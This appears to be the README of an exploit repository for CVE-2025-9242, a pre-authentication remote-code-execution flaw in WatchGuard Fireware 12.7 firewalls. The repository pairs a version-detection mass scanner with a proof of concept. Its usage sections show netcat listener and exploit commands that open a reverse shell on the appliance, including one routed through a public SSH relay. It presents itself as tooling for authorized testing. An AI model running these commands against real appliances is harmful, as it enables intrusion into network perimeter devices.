Share
## https://sploitus.com/exploit?id=6C82D03E-F97D-5C83-A587-BB51AAB11C10
# watchguard-CVE-2025-9242

Authorized-use tooling for WatchGuard Fireware CVE-2025-9242, in two parts:

| Directory | Purpose | Sends a trigger? |
| --- | --- | --- |
| [`scanner/`](scanner) | Detection-only IKEv2 version/build exposure triage across an authorized address range | No |
| [`exploit/`](exploit) | Version-pinned proof of concept for Fireware `12.7` build `640389` | Yes, on explicit opt-in |

The two are deliberately separate programs. The scanner contains no
`IKE_AUTH` builder, vulnerability trigger, shellcode, or callback logic, and
can be used on its own. The proof of concept refuses to run against anything
other than the exact archived version/build profile.

Use this repository only against systems you own or are explicitly authorized
to test. See [SECURITY.md](SECURITY.md).

## Start here

```sh
python3 run.py
```

That is the whole thing in one menu:

```text
  1) Scan a range for exposed appliances     no trigger sent
  2) Fingerprint one target                  no trigger sent
  3) Analyze the payload offline             no network at all
  4) Test the callback relay                 no target involved
  5) Exploit an authorized target            SENDS THE TRIGGER
```

Options 1 and 2 are safe to explore; the scanner even defaults to a
network-inert dry run. Option 5 walks you through target selection, runs the
non-overflowing fingerprint first, refuses anything that is not the archived
profile, offers to allocate a public callback relay for you, and asks for the
same explicit confirmations the command line requires. Option 4 proves the
relay works before you rely on it during a live test.

The menu adds no protocol logic of its own and cannot bypass a gate โ€” it fills
in the same command-line interface documented below. Everything remains usable
directly if you prefer flags to prompts.

## Layout

```text
run.py                       interactive front end for both components
scanner/
  wg_ike_mass_scanner.py     detection-only asynchronous IPv4 scanner
  tests/                     offline unit tests and an offline benchmark
exploit/
  wg_cve_2025_9242.py        detect / analyze / exploit command-line interface
  engine.py                  IKEv2 protocol and exploit engine, 12.7-640389 pinned
  requirements.txt           pinned third-party dependencies
  tests/                     offline unit tests
tests/                       offline tests for the front end's safety gates
```

## Requirements

`run.py` and the scanner need only Python 3.11 or newer and the standard
library. Menu options 1 and 2 work with nothing installed.

The proof of concept additionally needs Linux on x86-64, GNU binutils for
amd64 (pwntools assembles the runtime callback), and the pinned dependencies:

```sh
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -r exploit/requirements.txt
```

`exploit --tunnel pinggy` also needs an OpenSSH client and `sshpass`.

---

## `scanner/` โ€” detection

The scanner sends one ordinary, non-overflowing IKEv2 `IKE_SA_INIT` request
per selected address and port, then parses any WatchGuard vendor
version/build fingerprint returned in the cleartext response.

### Why this exists

In real environments, security teams may be responsible for thousands of
internet-facing appliances. Asset inventories drift, VPN endpoints move, and
critical advisories create short windows for identifying systems that need
owner validation or patching. This scanner turns an authorized address range
into a focused remediation queue without authenticating to or exploiting a
target. A match is a triage lead, not proof of appliance model, vulnerable
configuration, or exploitability.

### Features

- Interactive default-range or custom-range menu
- Custom CIDR, single IPv4 address, or inclusive start-end range
- UDP/500 by default; optional UDP/500 and UDP/4500
- Fast `250 -> 500 -> 1,000 -> 2,000` pps ramp in about three seconds
- Hard 2,000 total probes/second ceiling
- Streaming address expansion and bounded outstanding state
- Pretty terminal display by default, with quiet and verbose alternatives
- Line-delimited JSON results and summary
- Explicit authorization acknowledgement before network execution
- Standard-library-only Python implementation

The packaged default range is a range-selection convenience, not an
authorization claim. Confirm that every selected address is authorized before
scanning.

### Quick start

The interactive menu defaults to a network-inert dry run:

```sh
cd scanner
python3 wg_ike_mass_scanner.py
```

Preview a custom range and both IKE ports without creating a socket:

```sh
python3 wg_ike_mass_scanner.py \
  --range 192.0.2.0/24 \
  --ports 500,4500 \
  --dry-run
```

Authorized network execution:

```sh
python3 wg_ike_mass_scanner.py \
  --range 192.0.2.0/24 \
  --ack-authorized
```

The acknowledgement confirms that every selected address is authorized. It
does not perform an ownership or rules-of-engagement lookup for you.

### Rate behavior

```text
0-1 seconds: 250 pps
1-2 seconds: 500 pps
2-3 seconds: 1,000 pps
after 3 seconds: 2,000 pps
```

`--max-rate` can select a lower ceiling and `--ramp-seconds` can slow the
ramp. Values above 2,000 pps are refused. The rate is total probes per second,
not addresses per second; selecting two ports doubles the probe count.

### Output

Independently of terminal verbosity, the scanner writes JSONL containing a
`scan_start` record, one result record per response, and a `scan_summary`
record. Timeouts are counted in the summary rather than written per address.
Possible version-only statuses include:

- `EXACT_PROFILE_EXPOSURE`: Fireware `12.7`, build `640389`
- `AFFECTED_VERSION_EXPOSURE`
- `RESOLVED_VERSION`
- `WATCHGUARD_VERSION_UNPARSED`
- `WATCHGUARD_VERSION_REQUIRES_OWNER_REVIEW`
- `IKE_RESPONSE_NO_WATCHGUARD_FINGERPRINT`

A timeout is not evidence that a target is patched. A version fingerprint does
not prove appliance model, relevant VPN configuration, or exploitability.

---

## `exploit/` โ€” version-pinned proof of concept

This is an active pre-authentication remote-code-execution proof of concept
for Fireware `12.7` build `640389` on the M270 appliance profile. A successful
exploit can interrupt the IKE service even when the callback does not arrive.

The `EXACT_PROFILE_EXPOSURE` status from the scanner is the only status this
proof of concept applies to. Every other scanner result is out of its scope,
and the tool re-verifies the live fingerprint itself before sending anything.

### `detect`

One non-overflowing `IKE_SA_INIT` exchange; reads the vendor version/build
fingerprint and reports whether it exactly matches the archived profile. It
does not send the 513-byte vulnerability trigger.

```sh
cd exploit
python3 wg_cve_2025_9242.py detect --rhost 192.0.2.10 --rport 500
```

Use `--json` for machine-readable output.

### `analyze`

Runs entirely offline. Builds a reverse-shell payload with a documentation
callback address, checks the exact profile constants and payload layout, and
prints the shellcode/payload sizes and SHA-256 hashes.

```sh
python3 wg_cve_2025_9242.py analyze
python3 wg_cve_2025_9242.py analyze --callback-ip 192.0.2.20 --callback-port 4444
```

### `exploit`

Starts with the same non-overflowing exact-version/build detection. It refuses
to continue unless the live fingerprint is `12.7` / `640389`, both explicit
safety gates are supplied, and the callback is an IPv4 address.

Start a listener first:

```sh
nc -lvnp 4444
```

Then, against an authorized target:

```sh
python3 wg_cve_2025_9242.py exploit \
  --rhost 192.0.2.10 \
  --rport 500 \
  --callback-ip 192.0.2.20 \
  --callback-port 4444 \
  --confirm-profile 12.7-640389 \
  --acknowledge-service-interruption
```

### `exploit --tunnel pinggy`

The appliance dials back to a routable address, so a tester behind NAT needs a
public ingress. `--tunnel pinggy` allocates one at runtime: it binds a loopback
listener, opens an SSH TCP relay to the free Pinggy service, resolves the
allocated endpoint to IPv4, builds the payload against that address, delivers
it, and then bridges the callback into the current terminal. No relay
hostname, port, or account material is stored in this repository โ€” the
endpoint is ephemeral and allocated per run.

```sh
python3 wg_cve_2025_9242.py exploit \
  --rhost 192.0.2.10 \
  --rport 500 \
  --tunnel pinggy \
  --confirm-profile 12.7-640389 \
  --acknowledge-service-interruption
```

`--listen-port` (default 4444) selects the loopback port the relay forwards
to, and `--callback-wait` (default 180) bounds the wait for the callback. With
`--tunnel`, `--callback-ip` / `--callback-port` must be omitted; without it
they are both required and you start your own listener. The target must be
able to reach the relay's public address.

The callback begins with a generic `uid` / `euid` banner and then exposes the
appliance's `/usr/bin/python` interactive interpreter. Exploit delivery and
callback success are separate facts: a timeout after delivery is expected and
does not prove that the reverse shell connected. With `--tunnel`, the exit
status reflects the callback itself โ€” `0` only if it actually connected.

---

## Offline validation

Everything below is network-inert:

```sh
python3 -m unittest discover -s tests -v
python3 -m unittest discover -s scanner/tests -v
python3 scanner/tests/benchmark_offline.py
python3 scanner/wg_ike_mass_scanner.py --default-range --dry-run
PYTHONPATH=exploit python3 -m unittest discover -s exploit/tests -v
python3 exploit/wg_cve_2025_9242.py analyze
sha256sum -c MANIFEST.sha256
```

The GitHub Actions workflow runs exactly these checks. Network scans and
exploit delivery are never part of CI.

## License status

No open-source license is included. See
[LICENSE-STATUS.md](LICENSE-STATUS.md) before publishing or redistributing.

## References

- [WatchGuard advisory WGSA-2025-00015](https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2025-00015)
- [NVD CVE-2025-9242](https://nvd.nist.gov/vuln/detail/CVE-2025-9242)
- [watchTowr Labs CVE-2025-9242 research](https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242)
- RFC 7296: Internet Key Exchange Protocol Version 2
- RFC 7383: IKEv2 Message Fragmentation
- RFC 3948: UDP Encapsulation of IPsec ESP Packets